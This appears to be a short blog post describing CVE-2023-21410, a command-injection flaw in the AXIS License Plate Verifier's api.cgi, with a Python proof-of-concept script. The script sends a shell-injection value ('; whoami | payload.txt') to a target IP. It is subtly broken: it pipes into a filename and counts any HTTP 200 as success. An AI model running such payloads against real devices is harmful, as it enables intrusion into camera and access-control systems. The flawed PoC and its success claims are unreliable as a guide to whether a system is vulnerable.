CVE-2023-21410 - AXIS License Plate Verifier API Vulnerability: User Input Not Sanitized, Allowing Arbitrary Code Execution

A new vulnerability has been identified in the AXIS License Plate Verifier (LPV) system and has been assigned the identifier CVE-2023-21410. The vulnerability is found in the LPV's API, specifically the "api.cgi" file, where user-provided input is not sanitized. This can potentially lead to arbitrary code execution by exploiting the vulnerability. This post aims to provide an overview of this security issue, demonstrate a proof-of-concept (PoC) exploit, and direct you to the original references for further investigation.

Vulnerability Details

The AXIS LPV system is a powerful tool for automatic license plate recognition and processing. It can be found in many industries, such as parking space management and security applications. However, the API used by the system has a critical flaw in the "api.cgi" file, which does not sanitize user input before using it in the back-end code execution.

This vulnerability allows an attacker to inject arbitrary code into the API call, which could potentially lead to the compromise of the entire system. The issue is particularly dangerous due to its ability to execute code via unauthorized access, impacting the overall security of the AXIS LPV solution.

Here's an example of a code snippet demonstrating how this vulnerability could be exploited

import requests

# Replace [TARGET_IP] with the target AXIS LPV system's IP address
target_url = "http://[TARGET_IP]/api.cgi";

# Payload for arbitrary code execution
exploit_payload = "; whoami | payload.txt"

# Sending the crafted payload via an HTTP GET request
response = requests.get(target_url, params={"user_input": exploit_payload})

# Checking if the exploit was successful
if response.status_code == 200:
    print("Exploit successful.")
else:
    print("Exploit failed.")

This code snippet shows how an attacker could use a simple Python script to send an HTTP GET request containing the malicious payload. If the AXIS LPV system is vulnerable, it will execute the arbitrary code specified in the exploit_payload variable.

As a result, the AXIS LPV user could experience unauthorized data access, manipulation, or even a complete system takeover.
